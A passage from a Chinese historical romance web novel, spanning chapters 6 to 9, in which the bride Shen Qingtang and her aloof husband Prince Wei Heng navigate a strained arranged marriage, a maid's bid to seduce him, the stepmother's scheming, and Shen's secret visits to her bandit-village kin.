她想咬伤魏珩,想让他破皮见血,鲜血淋漓。 可她也只是平民百姓,说到底还是惜命,不敢冒犯皇嗣,生怕魏珩有个三长两短,会连累到她匪寨里的亲朋好友。 沈青棠不敢再动了,自己没再合拢牙齿,加重那一颗狰凸小核上的咬痕。 少顷,她装作若无其事的模样,小心翼翼松开嘴。 许是为了赎罪,沈青棠还下意识伸舌一舔,讨好地抚平那点深重的齿痕,祈求魏珩的原谅。 但很可惜,男人的喉骨冷硬,齿痕也深重,怎么都磨不平,润不化。 沈青棠殷勤地舔了两口。 魏珩的颈肉没有味道,唯有一缕霜雪似的清凉涩口的香气,萦绕于她的唇间。 而男人受到那点撩拨,脖子上青筋突起,鼓噪地震颤着,似是一把蓄势待发的弓弩。 魏珩没想到沈青棠胆大至此,竟敢三番两次撩拨他,一时间凤眸微眯,意味深长地凝着自家装乖的小妻。 沈青棠顶着魏珩那冷嗖嗖到几欲杀人的狠戾目光,再傻也该知道,她惹到魏珩了。 沈青棠不敢再装傻,她慌忙想法子爬起身。 可绸衾太滑,她无处借力,一起身就跪下,三番两次跌到魏珩的怀中。 天呐,她真的没想再欺负魏珩! 沈青棠心如死灰,已经不敢去看魏珩黑沉如锅底的俊脸。 “王、王爷,我不是存心冒犯你……” 几息之后,沈青棠终于找到了支撑的床围。她艰难地直起腰,诚恳地道歉:“王爷,你是不是被我磕伤了?实在对不住,黑灯瞎火,我看不清,没留神下了嘴……你的伤口很疼吗?我找药膏给你敷一敷?” 沈青棠作势要帮魏珩揉抚脖颈。 伸手的一瞬间,那一截白皙丰盈的皓腕,却被魏珩凶悍地擒在手中。 魏珩遏制住妻子接二连三的冒犯,用力地捏住她的手骨。 男人下手很重,几条琳琅玉指横于沈青棠的雪肤之上,不像是床笫间的调情,倒像是蓄势待发的惩处。 魏珩垂下既长又密的眼睫,拎着猫崽子一般,不近人情地将她吊高、提远,“沈青棠。” 沈青棠茫然:“啊?” 魏珩想到此前她饥.渴地自.渎,心中了然。 他擒人的手劲儿更重,薄唇微启,极尽讥讽,“……你就这么欲.求不满?” 沈青棠呆住。 她没明白魏珩在说什么。 沈青棠虽说和教习的嬷嬷学过夫妻敦伦之事,亦知男子精.元能令女子怀孕,可她并不知晓这些床帏里的荤话,这是得夫君慢慢调教才能开窍的蜜语。 沈青棠愣了许久,终于反应过来……魏珩误以为她方才粘缠的行径,全是床笫间的邀欢,他以为她想与他行房。 沈青棠欲言又止。 她总不能解释,刚才之所以咬伤魏珩的脖颈,是她起了“谋杀亲夫”的恶念,想让他也疼上一回吧? 沈青棠不说话,魏珩便以为她还有几分廉耻之心,眼见着色.诱之法被人识破,不敢轻举妄动。 好歹是明媒正娶的妻子,魏珩即便不喜女子近身,也不好将她丢到屋外。 况且,是他自讨苦吃,非要留宿于此。 思及至此,魏珩深吸一口气,终是冷着脸,“夜深了,睡吧。” 随后,他松开手,任由娇小的妻子落到柔软蓬松的被衾上,再如同圆溜溜的毬球一般骨碌碌滚到了拔步床的最里侧。 7、第七章 第七章 翌日,支摘窗外的腊梅被刺目艳阳照入屋舍,泼了一地稀疏花影。 黯沉的花枝晃动人影,亦惊扰到榻上熟睡的魏珩。 男人肤白唇红,神清骨秀,闭目昏睡时,乌发铺陈满枕,平添几分清俊萧疏的淡漠,倒将那一重凛冽迫人的杀意减轻不少。 倒是奇怪,魏珩素来枕戈待旦,夜里警惕得很,偏偏今夜回府,能睡得这样沉。 兴许是家宅里布满唯他马首是瞻的亲卫,又或许是知道床榻上蜷着的这个小妻子手无寸铁,亦无缚鸡之力,她伤不了他。 魏珩施施然睁眼,手刚要动,却听得一声不满的哝咛。 独属于女子的山桃香气徐徐渡来,馥郁甜腻的香息直灌入人的口鼻,充盈肺腑。 不等魏珩起身,他忽觉胸膛滚沸,如覆一帖熏烤到热乎乎的膏药,烫得人几近失神,竟是沈青棠趴在了他的怀中。 女子的身材娇小,体重也轻,像一只晒太阳的惫懒长毛猫,摊在魏珩的身上呼呼大睡。 沈青棠趴伏在他的胸膛,那团被小衣裹挟的饱满雪腻也随之相贴,被男人那几块坚实的肌理挤压成饼,掠目一瞥,白得刺目,隐隐泛起青皮桃尖的红绒,软到好似捧了一手醍醐。 魏珩的气息微滞,沉沉闭眼。 他好歹是血气方刚的年轻人,晨欲最盛,怎会没有反应。 况且沈青棠睡觉实在不老实,两条纤细如草茎的胳膊死死缠着他也就罢了,竟还无知无畏地用脸轻轻捱蹭他的胸膛。 如此青涩的厮磨,自然令魏珩生出了燥意。 他意识到自己的阳气蓬勃,怕是会硌到人…… 魏珩深吸一口气,缓和了一会儿,强抑住那点不合时宜的意动,继而淡定拉下熟睡的沈青棠,披衣起身,命人于偏房备好凉水,供他沐浴擦身。 待魏珩浸进寒涔涔的浴池之中,他想到新婚夜的那场房事……他故意入而不泄,无非是不想让沈青棠怀子。 二人的婚事总会有和离的一日,多个孩子便多一份牵挂,于他,于沈青棠都不利,倒不如干净两清。 可沈青棠欲重,日夜撩拨,难免擦枪走火。 一次两次推拒便罢,再多怕是会惹人疑心……魏父假借沈家兄弟救命之恩,替魏珩求娶沈家女孩,便是要借助这一场“与庶族女子通婚”的婚姻,欺瞒南廷君主,也好私下谋事,措置粮饷,以备内战之用。 魏珩既与沈青棠成了亲,便要把这场婚事演得圆满,不愿流露丝毫端倪。 不过是几场房事,她想要,他便给。 反正不是他不行。 魏珩叩动池沿的手指顿住,抬手撩开湿泞的额发,吹响一记呼哨。 一只鼓羽振翎的苍鹰,自窗隙飞入,停至一旁的召鹰架上。 魏珩出水换衣,又取纸笔,写下几句军令,让信鹰送往军所,递给巫医。 魏珩曾听部将们说过,塞北外域为了防止王嗣从女奴的肚中爬出,研制过一种能供男子避孕的秘药。 军营里的巫医专擅此道,魏珩可以命巫医调配汤药,供自己服下,也好防止沈青棠诞下魏室子女。 虽说此事待沈青棠残忍,可牺牲她一人,便能让魏珩寻到机会,领兵南侵,继而统一周国,换取周国子民百年安稳……此为济世大善,沈家人一向忠义,定会宽宥谅解。 魏珩面无表情地扬手,漠然送走了那一只翎尾乌润的苍鹰。 魏珩白日还要去军所批文,唯有夜里留宿王府,陪沈青棠几晚。 他刚想唤人入内送衣,便有一名年轻丫鬟,捧着整洁的箭袖武袍、束腰蹀躞带,走进屋里。 来人正是姜氏赏到寒香院的通房丫鬟画月。 寻常的婢子见到魏珩,无不稽首敛目,两股战战,今日送衣的丫鬟,倒故作娇羞之态,频频对魏珩暗送秋波。 新熏的桂香、新簪的芙蓉绒花、新裁的冬袄。 为了讨魏珩的欢心,女子专程打扮过一番。 魏珩瞥她一眼,神色淡漠:“放下衣袍便出去。” 魏珩的逐客令下得干脆利落,倒唬了画月一跳。 画月不欲与小王爷作对,可她难得见到魏珩……特别是昨晚,魏珩回房入睡,却并未差人叫水,可见魏珩没有和沈青棠行房。 哪家爷们儿初初开荤,食髓知味,又一连旷了二十多日,还能憋得住的? 除非……那个乡野来的王妃并不得魏珩欢心。 画月自以为机会来了,她不肯离开此地,反倒在魏珩面前跪下,娇羞地道:“奴婢心知,王爷在外行军多日,定是旷了许久,倘若王妃不能为王爷排忧解难,奴婢也可为王爷纾解……” 说完,她还颤颤伸手,意欲勾动魏珩的腰带。 此言一出,魏珩自然明白,她是来自荐枕席了。 看来昨夜魏珩没与沈青棠行房,倒让旁人以为,他与王妃感情不睦…… 魏珩目光晦暗不明,冷声道:“你并非寒香院的婢子。” 寒香院有罗嬷嬷看顾,不会放任这等口无遮拦的侍婢近前伺候,唯有姜氏会犯这样的蠢。 果不其然,画月抬起盈盈美眸,柔声回答:“奴婢是王太妃派来服侍王爷的。” 画月本想趁机暗示魏珩——她是长者所赐的通房丫鬟,可供魏珩享用、差遣。 可魏珩何许人也,画月越是强调自己是望山堂来的婢子,越讨他的嫌。 魏珩的耐心告罄,他嘴角噙着的那抹笑容渐淡,一双阴戾寒目,杀意渐盛,骇得人通体生寒。 魏珩嗓音沉肃,厉声呵斥:“来人!此女妄议王府内宅私事,拖下去乱棍打死!” 一番凶残冷酷的话语,顿时吓得画月面失血色,腿骨瘫软。 她再没有献媚的心情,涕泪横流地求饶:“王爷、王爷冤枉!是太妃命奴婢伺候王爷,全是太妃的一番好意啊!” 魏珩轻撩眼皮,眸中并无半分对于姜氏的敬重,闻言也只意味深长地道:“你来寒香院随侍,竟是奉了太妃之命?哪家婆母会在新妇刚进门,便急不可耐地往儿子院子塞人?这是不敬王妃,还是不敬本王?” 此等高帽落下来,当真是压得画月翻不了身。 画月目光发直,冷汗直冒……想也知道,这番话要是传到姜氏的耳朵里,为了保全与儿子那点不算牢靠的亲情,自然会牺牲她一个位卑言轻的小丫鬟,将这些话推到她身上,说是画月昏了头,竟在王爷面前胡说八道。 到时候,画月不仅担了一个“爬床”的罪名,还有“妄议尊长”的大不敬之罪! 届时,单她一人身死不够,还得连累家中父母子侄! “主子、主子饶命!” 画月哭得上气不接下气,连连叩首,磕得额角青红一片,隐隐渗血,盼着魏珩放她一条生路。 屋外的亲卫婆子听到动静,急忙入屋,拖走画月。 许是想给姜氏一个告诫,魏珩难得心生怜悯,不疾不徐地开口:“也罢,既是太妃的婢子,就由母亲领走处置……寒香院不缺奴仆伺候,凡是太妃送来侍奉的丫鬟,统统送回望山堂,听明白了?” “是。”奴仆们瞧着满地的血污,听着那凄厉入耳的哀嚎,哪敢生出什么悖逆之心?忙不迭点头应声,只盼着魏珩发落一场,能尽早消气,莫用这团愈烧愈烈的怒火,殃及池鱼。 - 沈青棠睡醒的时候,魏珩刚回屋里。 她迷糊睁眼,望着渐行渐远的高大身影,哑着声音问:“王爷,你怎么了?” 瞧着面色不善,好似要杀人一般。 魏珩见她一脸懵懂无辜,连被姜氏算计一场都不知情,不免一哂:“你身边何时添了几个不知分寸的小丫鬟?” 沈青棠茫然:“您是说画月、香梅吗?她们是太妃赏下来教我写字的丫鬟……是不是她们二人有哪处冒犯到王爷,令你心中不喜?” 教她写字……这般拙劣的借口,沈青棠竟会相信。 魏珩心知,沈青棠倾慕他,定不喜旁人近他的身。 可见沈青棠当真不知,那两个丫鬟居心不良,极有可能是姜氏派来侍奉魏珩枕席的通房。 平心而论,魏珩虽不喜沈青棠,却也不会允许继母肆意欺辱她。毕竟,比起姜氏,还是枕边妻子与他关系更近。 魏珩脸上的冷色淡去一些:“无事,只那两个丫鬟心太大,不好留你身边侍奉,我已命人将她们两个送回望山堂,日后不必再留院里。” “哦……”沈青棠没有在意太多,总归魏珩愿意处置这些家事,那就由他料理,她只当一个甩手掌柜。 沈青棠一早睡醒,肚子饿了。 她记起魏珩仍在屋里,对他卖乖地道:“这才卯时,王爷也是刚起吧?我喊秀珠去备膳……” 沈青棠趿鞋,作势要下地喊人,帮魏珩布置吃食。 没等她起身,她的手臂就被男人握住了。 魏珩淡道:“不必,我还要回军所批文。” 魏珩至多夜宿三晚,白天还是要回军所处理军务。 沈青棠呆了呆,没说话。 小姑娘先前还兴致冲冲要帮魏珩安排早膳,听到他得回军所务公,顿时低头不语。 想也明白,沈青棠一定是知他要走,心里难过了。 别在他面前哭哭啼啼。 魏珩薄唇微抿,细思片刻,从怀中摸出一枚鹰哨,递给沈青棠:“若你有事,可用此哨召鹰,给我送信。” 他难得给沈青棠一点甜头,好让她收住那点摇摇欲坠的眼泪。 可沈青棠低头无言,并不是伤心欲哭,她只是想到赵王的早膳会多两道汤品,四道糕点,她想尝尝,又不知该寻什么借口留下魏珩…… “好了,军务在身,我不能久留。若你困倦,可再回榻上歇会儿。” 许是怕沈青棠像个孩子似的粘缠人不放,魏珩说话的语气堪称和颜悦色,甚至还有一点自己都未曾觉察的诱哄。 沈青棠接过尚有余温的鹰哨,望着魏珩渐行渐远的背影,眨了眨水灵灵的杏眼。 她忽然觉得……魏珩人还不错,竟知袒护新过门的妻子。 这门婚事好像也没沈青棠想的那么糟糕。 - 另一边,望山堂。 画月、香梅两个丫鬟被罗嬷嬷亲自押回花厅,吓得姜氏够呛。 姜氏又不是聋子瞎子,哪里不知昨晚魏珩回府的事?想来这两个丫鬟,就是被魏珩发落来的。 罗嬷嬷老神在在地行礼纳福,“老奴给太妃请安,老奴奉王爷的命,将这两名‘妄议王府’的刁奴领来给太妃处置。王爷说了,两个奴婢嘴上说是奉了太妃的命,专门教导王妃习字,哪知心怀鬼胎,竟起了爬床上位的心思,还被王爷抓了个正着。” “想也是笑话,王爷王妃新婚燕尔,正是浓情蜜意之时,太妃又岂是那等小家子气的市井恶婆,怎会往儿媳院子里塞人随侍?可见是奴婢性恶,生出狗胆亵渎王爷!这是不顾王妃的脸面,亦是不念王府的恩情,这等不孝不悌的下贱东西,拖出去诛三族都嫌脏手!” 罗嬷嬷一通申饬,瞧着是帮姜氏洗清嫌疑,却也是故意给她没脸。 谁人不知,姜氏从前是姜家庶女,也曾被罗嬷嬷管教过一遭。 先太妃死后,姜氏即便喝药绝嗣,也要填嫡姐的房,爬姐夫的床,这点腌臜事,自然瞒不过罗嬷嬷这般的老人。 姜氏最怕这位老嬷嬷,也最恨这位老嬷嬷。 在罗嬷嬷面前,姜氏真是连一块遮羞布都没有。 只罗嬷嬷有魏珩罩着,姜氏动她不得。 姜氏一张脸铁青,她怎么都没想到,魏珩竟会为沈青棠出头……可见是此女使了什么狐媚手段,故意撺掇夫婿来打婆母的脸! 偏偏老王爷仙逝,府上再没给姜氏撑腰的人。 她不过是个无子的继母,往后还得看魏珩的眼色,方能有个好日子过,又哪里敢和这个便宜儿子生出嫌隙? 姜氏忍了许久,硬生生挤出一个尚且和善的笑容,“这两个丫头真是吃了熊心豹子胆,竟生出这般野心,当真丢尽了咱们赵王府的脸!来人,将她们两个杖责三十,再喊牙婆过来,一家子拖出去发卖了事!” 姜氏一口气说完,又抚了抚胸口,喊来刘妈妈,叹道:“是我对不住青棠,倒教她刚进门就受了这等委屈……刘妈妈,你去库房里拿十多盏官燕、几套海八珍,另添一条御风的紫貂皮子,送去寒香院,也好安一安青棠的心。” 这一次,姜氏出手不可谓是不大方。 毕竟罗嬷嬷的话儿都撂在那儿了,若她不出手阔绰一点,岂不是应了那句“小家子气”? 姜氏和那位死去的嫡姐攀比惯了,最受不得这样的讥讽……凭什么她是庶女出身,就得眼界浅,眼皮底子浅了? 再说了,嫡姐再如何厉害,还不是早早死在姜氏前头?就连夫婿也成了她的掌中之物。 罗嬷嬷对于姜氏的心思,那是门儿清,可恨她养大的姐儿去得太早,否则她怎要看着这样的腌臜货色在王府里作威作福。 罗嬷嬷掩去眼底的痛意,跟着刘妈妈走向库房,取走那些赏赐之物。 她只盼着这位刚进门的王妃沈青棠争气一些,早早为魏珩诞下一位能够支应门庭的小主子。 - 檀州军所。 议事完的柳云舟两次三番抬头,盯着上首的魏珩不放。 魏珩的脖颈处,不知何时横陈了一枚入肉三分的齿痕。 看牙口窄小,应是女子所为。 这几日,魏珩赶回王府,想来是与那个农家小妻子同床共枕。 不是说小王爷极其厌恶此女么…… 既如此,魏珩的脖颈上为何会留有这样一枚放浪形骸的情痕? 怕不是魏珩嘴上说讨厌妻子,明年连孩子都生出来了? 8、第八章 第八章 魏珩从来不管庶务,此次冲冠一怒为红颜,倒真是吓了阖府一跳。 众人细细一品,回过味来。 比起继母,自然是枕边妻子更为重要。 魏珩身为王府主子、北道四州的土皇帝,他肯为沈青棠出头,便是代表了他护妻的立场。 想通这一点,此前怠慢过沈青棠的公灶奴仆、王府婆妇,一个个抖若筛糠,后悔不迭。 他们试图弥补过错,平时送膳不但用汤茶盒子保温甜碗子,还用几只夹层里灌满热水的孔明碗,煨着那些浓油赤酱的荤肉,免得天寒地冻,肉油凝固,饭食吃起来腻得慌。 秀珠身为寒香院的一等丫鬟,又是最得沈青棠倚重的奴婢,如今借了魏珩的势,出门在外被那些仆妇们一口一个“秀珠姐姐”唤着,比望山堂的刘妈妈还要得脸。 秀珠端着一盏清润可口的七宝擂茶,奉给梨木椅子上的罗嬷嬷,不解地问:“祖母,您是府上的老管事,只需一句话发落下去,公厨的婆子们见您的面子,哪个敢慢待王妃,又为何非得等王爷回府,捅破这些个腌臜事?” 秀珠年纪轻,只觉得自己立不起威信,连公灶那些偷奸耍滑的婆子都压制不了,还要主子们出头,实在丢脸。 可罗嬷嬷却端茶啜饮,笑了一声:“主子家的事情,咱们做下人的,怎可妄议?还是得看看王爷的态度……他若偏疼王妃,帮着王妃出头,咱们也就殷勤一些,多为王妃跑腿。若他不愿出面,冷待王妃,咱们也就干好本分事,旁的莫要多说多问。” 罗嬷嬷的意思很明白,秀珠再如何喜欢沈青棠,她也是赵王府的家生子,是魏珩麾下的奴仆,自然得和主子一条心。 况且,不让魏珩亲眼瞧见沈青棠受欺负,又怎能激起男人的怜心,诱他多回府替自家小妻撑腰? 罗嬷嬷知道魏珩待沈青棠有几分怜香惜玉的心思,知道他并非待沈青棠无意,也就放下心了。 一个男人开始在意一个女人,便是情愫渐生的开始。 魏珩是先太妃的骨血,罗嬷嬷怜爱旧主,当然盼着魏珩家宅安宁,早日开枝散叶,让姐儿的血脉得以延续下去。 - 魏珩军务繁忙,说好只是白日上军所批文,偏偏侦查敌情的斥候队伍前来禀报——塞外契丹前战铩羽,心存不甘,隐有犯边异心,当严加防戍。 魏珩紧急前往关隘,临走前还让扈从往府上递话,说是两日无暇归家,尽量赶在冬至家宴之前回府,陪王妃过节。 得知魏珩又得离家数日,寒香院的奴仆各个蔫头耸脑,言谈谨慎,生怕嘴上没把门,说了什么不该说的话,惹得沈青棠伤神。 可沈青棠并未伤怀,甚至感到放松。 上次她归府及时,没有被人发现,但也从这件事上觉出魏珩的敏锐凶恶…… 外出一事绝对不能暴露。 否则她再想出府,给那些匪寨的亲朋好友送钱送食,就没这么容易了。 隆冬天,难得放晴。 婆子们取出后罩房的旧被冬衣,挂院子竹竿上晾晒。 有几件裹了芸香草香囊的缎袍,防住雨潮,却没能防住衣鱼蠹虫,棉花夹层被虫子蛀开几个大洞,不能穿了。 婆子们作势要丢到火塘里焚毁,沈青棠觉得可惜,忙道:“别丢了,拿到屋里吧……既是王爷的旧衣,我也好看看尺寸,比照着棉袍,给王爷裁几身冬衣。” 后宅妇人笼络夫婿的法子,无非是裁衣制靴,烹茶送饭,仆妇们不疑有他,听从沈青棠的吩咐,把那些旧物挪到了屋子里头。 沈青棠一个人在寝房里忙碌,拆布、拆棉絮、拆毛领子。 沈青棠知道有些袍缎花纹独特,不能在外单穿,但夹层里头的衣布花色寻常,且能兜住棉花,质地极其厚实柔滑,用来裁比甲、直裰、护膝,最合适不过。 沈青棠分门别类,将那些可用的料子、缎布,装到包袱里,想着趁魏珩不在府内的时候,拿去给许砚、许婆婆制衣穿。 夜里,沈青棠再度偷溜出王府,来到荒山。 她本以为许砚回了书院,不在家中过节,谁知今晚过去,竟再次看到了许砚。 少年郎似是刻意等候沈青棠,见她的第一眼,眸子发亮,但很快他想到上次的不愉快,又倔强地抿唇,偏过头去。 沈青棠见了,吃吃地笑。 许砚少时就是这么个犟性子,从前体弱,他老是待在屋里头喝药。 匪寨的孩子们笑话他跟个小娘们似的闭门不出,还要挨沈青棠一顿胖揍。 可沈青棠出头归出头,却也没和那些孩子闹掰,小伙伴们再来喊她爬树摸鱼,她还是会高高兴兴地去,跑得比谁都快。 这种时候,许砚就怨恨沈青棠不站在他这边,使起小性子呆坐屋里发脾气。 即便沈青棠回家的时候拎来一桶小鱼、一把山核桃,给许砚炖汤喝,他也不理她。 最后,还是沈青棠连着两三天不再上门找许砚玩,他才服了软,端着许嬷嬷蒸的枣泥糕,跑去和沈青棠求和。 好比今日,许砚都回到书院了,还巴巴的上山,就想看看能不能再遇到沈青棠。 沈青棠从小就是个没脾气的小姑娘,她视许砚为家人,姐弟哪有隔夜仇,也不和他怄气。 看到许砚过来,沈青棠热情地对他招招手,唤他靠近:“阿砚过来,试试这块狐毛料子,我瞧着毛色不错,给你裁一条毛领子正好。还有这个冻疮膏,你手上起了红疹,再不涂点膏药,怕是会起冻疮……” 许砚任由沈青棠摆布,许是靠得太近,他还嗅到了沈青棠身上渡来的温热山桃香气…… 许砚不自在地垂下眼睛,小声道:“青青姐,王爷时常在外行军御敌,他是不是很少回府?” 昨日,许砚下山购置粮米,恰巧见几名身穿黑甲骑戎的将士,策马于城中街巷穿行。 听粮铺掌柜说,打前头的那个高大男人,便是北境藩王魏珩。 许砚第一次见魏珩,远眺一眼,确实生得魁梧英武,只面冷沉肃,瞧着并不是好亲近的人。 魏珩与沈青棠新婚燕尔,本该成日缠绵家宅,他竟能舍下妻子离城数日,可见他对阿姐也不够温柔亲善,也不够上心。 这样的男人,又怎可能是良配。 沈伯父竟将阿姐许配给这样的男人…… 许砚隐生不甘,又不敢细想其中的情愫。 倒是沈青棠想好了手上几条皮草的用处,对许砚道:“算是吧……王爷公务繁忙,我身为家眷,自该体谅。唔,别说这个了,我看这条兔毛皮子不错,你什么时候回书院,顺道拿去给鞋铺的绣娘,让人帮忙纳一双厚实的鞋底给许婆婆,这样她冬天喂鸡就不冻脚了。” 许砚:“青青姐,若你婚后的日子过得不好,你就和王爷和离吧……我、我会努力养你,让你过上好日子。” 闻言,沈青棠噗嗤一笑,拍了拍少年郎的肩膀,语重心长地道:“嗯,阿砚确实长成能独当一面的男子汉了,阿姐很是欣慰。若阿姐真的过得不顺心,日后没了去处,一定来投奔你,只盼着阿砚和弟妹大发慈悲,莫要将我扫地出门呀!” “怎会呢……什么弟妹,我也不会娶妻!” 沈青棠没和少年郎多玩笑几句,她瞥了一眼炕桌上用黑布覆着的长剑,信手一抽。 铮的一声。 锐剑出鞘,寒芒乍泄。 那是许叔留下的宝剑。 许砚作势要去抢,却被沈青棠旋着剑鞘,格挡回去。 许砚踉跄两步,心中不甘,又怕挨沈青棠的骂,毕竟阿姐不愿他习武从军…… 沈青棠看着这把被擦拭得锃亮的长剑,轻叹一口气:“阿砚,你一直私下偷偷练剑,对吗?” 许砚闻言一怔,良久无言。 许家是流匪出身,即便帮忙守城杀敌,也到底不是良民。朝堂认定这些山寇流匪是大奸大恶之徒,不愿给战死的弟兄抚恤金,倒是老王爷体恤边民不易,时常派下赏银,接济那些无家可归的流民百姓,匪寨的老人孩子们才能有个容身之所。 这也是许父盼着许砚好好读书,像个寻常百姓那般成亲生子,莫要习武从军的原因。 沈青棠拍了拍许砚的肩膀,笑道:“走吧,咱俩去后山过几招。” 北地多雪,山中松柏累积厚厚冰棱,光是瞧着都刺骨寒冽。 沈青棠想着逗弟弟开心,非要与他比试一场。 她手持一根掰折的青竹,执于掌心,拟作长剑。 随后,沈青棠笑弯杏眸,朝着远处持剑的小少年,古灵精怪地勾勾手指:“来啊,打赢了姐姐,姐姐就许你一样礼物。” 许砚的生辰快到了,沈青棠想趁此机会,送他一样贺礼。 许砚有心在沈青棠面前表现,此次出招,并未留情。 少年人的剑法利落,身随剑动,舞若游龙,不过拧腕旋剑,便扫开雪浪千层。 可沈青棠自幼研习拳法,虽说没有沈父那般厉害,但等闲的毛贼悍匪都拿她没办法。 她看清了许砚出招的架势,辨出方向。 女孩足下轻点,踏浪而去,借着一旁松柏的枝桠,蓄势旋棍,猛地一下击上许砚背心,砸得他闷哼一声压抑的痛吟。 沈青棠有意调教弟弟,也好教他知道战场险恶,下手可谓十足狠辣。 许砚也知她动了真格,眉眼一沉,屏息凝气,再度势若奔雷,挟风刺来。 噌的一声。 刀棍相击。 长剑迸发耀眼焰芒,削开竹棍的粉屑。 沈青棠极擅弓马,却不擅长与人持械缠斗,不过三刻钟,她的颓势尽显,一时落得下风。 而许砚本就喜爱钻研剑术,如今燃起锐进的战意,更是渐入佳境,他的斗心渐盛,一个不经意,竟狠心劈折了沈青棠手持的竹竿,毁去她的护身武器,迫她后退了两步,半跪到雪里。 沈青棠半条腿陷进雪地,她抛开裂成竹花的竿子,扶膝急喘,“我不成了,你赢了!说吧,阿砚想要什么样的生辰礼?” 许砚望着抬手抹去额头热汗的美丽少女,凝着她那张艳得惊人的檀唇,低声说:“我……我想让青青姐编一条剑穗送给我。” 沈青棠大方应下:“好啊,这有何难。” - 后天便是亚岁宴,王府每日都在试新鲜菜品,觉得好吃的糕点汤盅,还会往寒香院送去一些。 那一摞用来烧给老王爷的经文,沈青棠还没抄完。 沈青棠敬重这位保家卫国的老爷子,不愿怠慢逝者,即便她书法拙劣,还是尽心竭力地描摹那些经文上清隽娟丽的字迹,想敬一份孝心。 沈青棠抄经的竹纸用完了,又舍不得花自个儿的钱去买,问了秀珠,说是魏珩外书房存着许多裁好的竹纸与宣纸,可以过去拿上一摞。 “王爷的书房,我未经通禀,能随意进去吗?” 秀珠笑道:“王妃是王爷发妻,府上何处是王妃去不得的?再说了,军机要务都储存于内书房,不过是去外书房取几卷竹纸,不妨事的。” 闻言,沈青棠便也放下心来。 她依言迈入外书房,抽了一沓新裁的竹纸。 许是手上动作太快,撼到一旁积灰的木匣。 匣子落地,锁扣打开,滚出一只彩陶水鸭、绒花、还有一些琉璃珠子,加之几封泛黄的信件。 沈青棠慌张去拾那些信,拍灰的时候,她看到了信纸上的内容。 “珩表哥,见字如晤。初夏的时候,我随小叔去了一趟益州,喝了蒙山茶、蜀茶,还尝过用井盐调味的辣子鸡,菜品的味道很好,有机会教给府上厨子,也好让你也尝上一口。” “珩表哥,快要入冬了,北境好冷,真想赖在南地不回来,可我一直留在外头就见不到你和三姑姑了,还是勉为其难回来一趟吧!南地的腌笋味道可好了,到时候我带两坛子送你。” …… 沈青棠扫过两眼,见信上有字有画,猜也是活泼的女孩家写给魏珩的信笺,只是纸张陈旧,想来也有年头,并不是近日递来的书信。 沈青棠又看了一眼落款的名字——姜若水。 姜家的女孩儿? 难怪这般热情地喊魏珩为“表哥”呢! 沈青棠看着写得满满当当的信,即便信上什么都没说,她也能瞧出来,这位姜家表妹,待魏珩应是很有好感。 青梅竹马,两小无猜。 可魏珩最后却奉了父命,娶她为妻。 一时之间,沈青棠也不知该说什么好……不过她想,魏珩从前贵为王世子,如今又是北境亲王,若他当真不满这场婚事,属意这位姜家表妹,定会跟魏父据理力争,另娶旁人。 魏珩既娶了沈青棠,定是对沈青棠有意,也想着与她白头偕老。 否则魏珩身为皇亲国戚,又何必为了偿还那点父恩,与她一个乡下农女沾上什么牵扯? 沈青棠知道,夫妻之间,最忌猜疑,她得相信魏珩,不要闹得夫妻失和。 想到这里,沈青棠收起信件,再度将这些小玩意儿锁进匣子里,妥善放好。 只是,在沈青棠抱着那卷散着竹香的白纸回房时,心中仍会忍不住猜想——待她这般疏离淡漠的魏珩,待那位姜家表妹会有不同吗?看着生人勿近冷若冰霜的魏珩,也会因姜家表妹那几封生动童稚的家书,而心情愉悦,顺道提笔答复她那几封絮絮家书吗? 9、第九章 第九章 冬至大如年,不单是冬至那天要设宴,前一天也得吃上几样应景的饭菜。 南地湿寒,百姓喜欢喝汤汤水水,口味又嗜甜,一般都是吃馄饨或者是赤豆圆子。 而北地干旱阴冷,百姓喜酸,一般吃饺子、黍米糕,还会拿羊肉、阴干的冬至肉涮热锅子吃。 晚上,罗嬷嬷送来北道世家大族的谱牒名录,好让沈青棠过目,确认一下人丁数目,再以她赵王妃的名义,给各地衙门官吏、豪族门阀,送去王府恩赐的“胙肉”,以示嘉奖。 除此之外,还要命公灶的婆子,取糯米粉捏成鸡、鸭、龟等等代表福禄长寿的动物,置于蒸笼蒸熟,再摆到祠堂祭奠。 忙好这些,沈青棠总算得以回房用膳。 晚上吃的是汤圆,裹了核桃碎、桂花、芝麻,还用枣泥染色,搓成一颗颗红彤彤的小球。 沈青棠吃了一碗冬至圆子,还被秀珠催着用了一碗姜母鸭汤。 “王妃一定要喝完鸭汤,这是罗嬷嬷吩咐公灶炖的番鸭,添了当归、黄芪、人参、黑枣,可暖胃补肾,益气养颜。” 即便秀珠没有明说,沈青棠也懂了她的暗示。 这是盼着沈青棠养好身体,好与魏珩行房,诞下子嗣。 但魏珩不好此道,罗嬷嬷抱小主子的念想怕是要落空了。 长夜漫漫,沈青棠摸不准魏珩夜里会不会回府。 她的经书还没抄完,倒不如秉烛誊写几卷再睡。 沈青棠刚喝完油腻的鸭汤,她取草药混成的牙膏漱齿,再沐浴擦身,换了一身柔软合度的鹅黄牡丹纹寝裙。 屋里燃着无烟的银炭盆,地上铺陈绒毛软毯,温暖如春。 紫檀桌案置着竹纸、经文、笔洗、砚台,一侧还摆着一碟开酥的莲蓉饼、一壶茉莉清茶。 沈青棠不是个能静下心习字的性子,若是没备点糖果子、甜糕,她怕是连一刻钟都坐不住。 沈青棠抄一会儿,吃一会儿,这般哄自己写字,竟也真的撑了一个多时辰。 待魏珩策马回府,一进寒香院便看到远处黄澄澄的烛光。 虚掩的房门里,沈青棠坐在桌前。 她的身姿窈窕,背影纤瘦,背着人的时候,坐得不太端正,甚至软在桌沿,像一只睡饱了发懒的雪毛狸奴。 烛焰亮堂,火光煌煌,照得她一双杏眸明亮,姣如月下清潭。 许是抄经累了,沈青棠搁笔,一手捏着酥皮糕点,另一手托着下巴,也好接住那些掉下的酥皮。 吃完糕饼,沈青棠又捻来沥干的湿帕子,将那些粉屑都擦拭干净,咽下一口清茶,这才继续执笔抄经。 还挺讲究。 魏珩扯唇一哂,推门入内。 房门洞开,沈青棠的面前冷不丁站着一袭高大威武的身影,将她吓了一跳。 沈青棠看了一眼,竟是魏珩,她愈发感到脊背发凉,汗毛倒竖。 这是烧给魏父的经书,要是让魏珩知道,她这般大不敬地抄经,他会不会怪她无状? 沈青棠双目僵直,一时之间不知是要先清理桌上的糕饼,还是收起那一纸墨迹未干的经文。 魏珩瞥了一眼桌上所剩无几的点心,又看向沈青棠那一纸歪歪斜斜犹如三岁稚童的“烂字”,即便他有心敷衍几句,亦夸赞不出一句“端秀流丽”。 